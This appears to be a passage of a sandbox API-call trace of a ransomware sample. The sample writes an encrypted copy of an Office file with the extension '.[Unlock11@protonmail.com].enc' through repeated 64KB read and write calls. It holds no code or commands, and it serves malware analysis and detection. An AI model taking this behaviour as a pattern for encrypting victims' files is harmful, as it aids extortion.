0x0 [0118.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.233] GetLastError () returned 0x0 [0118.233] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.233] GetFileType (hFile=0x3ac) returned 0x1 [0118.234] GetLastError () returned 0x0 [0118.234] GetCurrentThreadId () returned 0x9b0 [0118.234] GetLastError () returned 0x0 [0118.234] GetFileType (hFile=0x3ac) returned 0x1 [0118.234] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.234] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.234] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.234] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.234] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.234] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.234] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.234] GetLastError () returned 0x0 [0118.235] GetCurrentThreadId () returned 0x9b0 [0118.235] GetLastError () returned 0x0 [0118.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0118.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.235] GetLastError () returned 0x0 [0118.235] GetLastError () returned 0x0 [0118.236] GetCurrentThreadId () returned 0x9b0 [0118.236] GetLastError () returned 0x0 [0118.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0118.236] GetLastError () returned 0x0 [0118.236] GetLastError () returned 0x0 [0118.236] GetCurrentThreadId () returned 0x9b0 [0118.236] GetLastError () returned 0x0 [0118.236] GetLastError () returned 0x0 [0118.236] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.238] GetLastError () returned 0x0 [0118.239] GetCurrentThreadId () returned 0x9b0 [0118.239] GetLastError () returned 0x0 [0118.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.239] GetCurrentThreadId () returned 0x9b0 [0118.239] GetLastError () returned 0x0 [0118.239] GetLastError () returned 0x0 [0118.239] GetLastError () returned 0x0 [0118.239] GetLastError () returned 0x0 [0118.240] GetCurrentThreadId () returned 0x9b0 [0118.240] GetLastError () returned 0x0 [0118.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0118.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0118.240] GetLastError () returned 0x0 [0118.240] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.241] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.242] GetLastError () returned 0x0 [0118.242] GetCurrentThreadId () returned 0x9b0 [0118.242] GetLastError () returned 0x0 [0118.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.243] GetLastError () returned 0x0 [0118.243] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.244] GetLastError () returned 0x0 [0118.244] GetCurrentThreadId () returned 0x9b0 [0118.244] GetLastError () returned 0x0 [0118.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0118.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0118.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.244] GetCurrentThreadId () returned 0x9b0 [0118.244] GetLastError () returned 0x0 [0118.245] GetLastError () returned 0x0 [0118.245] GetLastError () returned 0x0 [0118.245] GetLastError () returned 0x0 [0118.245] GetCurrentThreadId () returned 0x9b0 [0118.245] GetLastError () returned 0x0 [0118.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.245] GetLastError () returned 0x0 [0118.245] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.246] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.247] GetLastError () returned 0x0 [0118.247] GetCurrentThreadId () returned 0x9b0 [0118.247] GetLastError () returned 0x0 [0118.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.247] GetLastError () returned 0x0 [0118.247] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.249] GetLastError () returned 0x0 [0118.249] GetCurrentThreadId () returned 0x9b0 [0118.249] GetLastError () returned 0x0 [0118.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0118.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0118.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.249] GetCurrentThreadId () returned 0x9b0 [0118.250] GetLastError () returned 0x0 [0118.250] GetLastError () returned 0x0 [0118.250] GetLastError () returned 0x0 [0118.250] GetLastError () returned 0x0 [0118.250] GetCurrentThreadId () returned 0x9b0 [0118.250] GetLastError () returned 0x0 [0118.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0118.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0118.251] GetLastError () returned 0x0 [0118.251] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.251] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.252] GetLastError () returned 0x0 [0118.252] GetCurrentThreadId () returned 0x9b0 [0118.252] GetLastError () returned 0x0 [0118.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.253] GetLastError () returned 0x0 [0118.253] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.254] GetLastError () returned 0x0 [0118.254] GetCurrentThreadId () returned 0x9b0 [0118.254] GetLastError () returned 0x0 [0118.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0118.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0118.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.254] GetCurrentThreadId () returned 0x9b0 [0118.255] GetLastError () returned 0x0 [0118.255] GetLastError () returned 0x0 [0118.255] GetLastError () returned 0x0 [0118.255] GetLastError () returned 0x0 [0118.255] GetCurrentThreadId () returned 0x9b0 [0118.255] GetLastError () returned 0x0 [0118.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.256] GetLastError () returned 0x0 [0118.256] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.256] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.257] GetLastError () returned 0x0 [0118.257] GetCurrentThreadId () returned 0x9b0 [0118.257] GetLastError () returned 0x0 [0118.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.257] GetLastError () returned 0x0 [0118.258] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.258] GetLastError () returned 0x0 [0118.260] GetCurrentThreadId () returned 0x9b0 [0118.260] GetLastError () returned 0x0 [0118.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0118.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0118.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.260] GetCurrentThreadId () returned 0x9b0 [0118.260] GetLastError () returned 0x0 [0118.261] GetLastError () returned 0x0 [0118.261] GetLastError () returned 0x0 [0118.261] GetLastError () returned 0x0 [0118.261] GetCurrentThreadId () returned 0x9b0 [0118.261] GetLastError () returned 0x0 [0118.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0118.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0118.261] GetLastError () returned 0x0 [0118.261] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.262] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.263] GetLastError () returned 0x0 [0118.263] GetCurrentThreadId () returned 0x9b0 [0118.264] GetLastError () returned 0x0 [0118.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.264] GetLastError () returned 0x0 [0118.264] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.264] GetLastError () returned 0x0 [0118.265] GetCurrentThreadId () returned 0x9b0 [0118.265] GetLastError () returned 0x0 [0118.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0118.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0118.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.266] GetLastError () returned 0x0 [0118.266] GetLastError () returned 0x0 [0118.266] GetLastError () returned 0x0 [0118.266] GetLastError () returned 0x0 [0118.266] GetCurrentThreadId () returned 0x9b0 [0118.267] GetLastError () returned 0x0 [0118.267] GetCurrentThreadId () returned 0x9b0 [0118.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0118.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.267] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.267] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.269] GetCurrentThreadId () returned 0x9b0 [0118.269] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.269] GetCurrentThreadId () returned 0x9b0 [0118.269] GetCurrentThreadId () returned 0x9b0 [0118.269] GetCurrentThreadId () returned 0x9b0 [0118.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.270] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.270] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.271] GetCurrentThreadId () returned 0x9b0 [0118.271] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.273] GetCurrentThreadId () returned 0x9b0 [0118.273] GetCurrentThreadId () returned 0x9b0 [0118.274] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.274] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.275] GetCurrentThreadId () returned 0x9b0 [0118.275] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.275] GetCurrentThreadId () returned 0x9b0 [0118.275] GetCurrentThreadId () returned 0x9b0 [0118.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0118.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.276] GetCurrentThreadId () returned 0x9b0 [0118.276] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.277] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.278] GetCurrentThreadId () returned 0x9b0 [0118.278] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.280] GetCurrentThreadId () returned 0x9b0 [0118.280] GetCurrentThreadId () returned 0x9b0 [0118.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0118.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.280] GetCurrentThreadId () returned 0x9b0 [0118.280] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.281] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.282] GetCurrentThreadId () returned 0x9b0 [0118.282] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.282] GetCurrentThreadId () returned 0x9b0 [0118.282] GetCurrentThreadId () returned 0x9b0 [0118.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.283] GetCurrentThreadId () returned 0x9b0 [0118.283] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.283] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.284] GetCurrentThreadId () returned 0x9b0 [0118.285] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.286] GetCurrentThreadId () returned 0x9b0 [0118.286] GetCurrentThreadId () returned 0x9b0 [0118.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.287] GetCurrentThreadId () returned 0x9b0 [0118.287] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.287] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.288] GetCurrentThreadId () returned 0x9b0 [0118.288] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.289] GetCurrentThreadId () returned 0x9b0 [0118.289] GetCurrentThreadId () returned 0x9b0 [0118.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.289] GetCurrentThreadId () returned 0x9b0 [0118.289] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.290] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.291] GetCurrentThreadId () returned 0x9b0 [0118.291] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.293] GetCurrentThreadId () returned 0x9b0 [0118.293] GetCurrentThreadId () returned 0x9b0 [0118.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.293] GetCurrentThreadId () returned 0x9b0 [0118.293] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.293] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.295] GetCurrentThreadId () returned 0x9b0 [0118.295] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.295] GetCurrentThreadId () returned 0x9b0 [0118.295] GetCurrentThreadId () returned 0x9b0 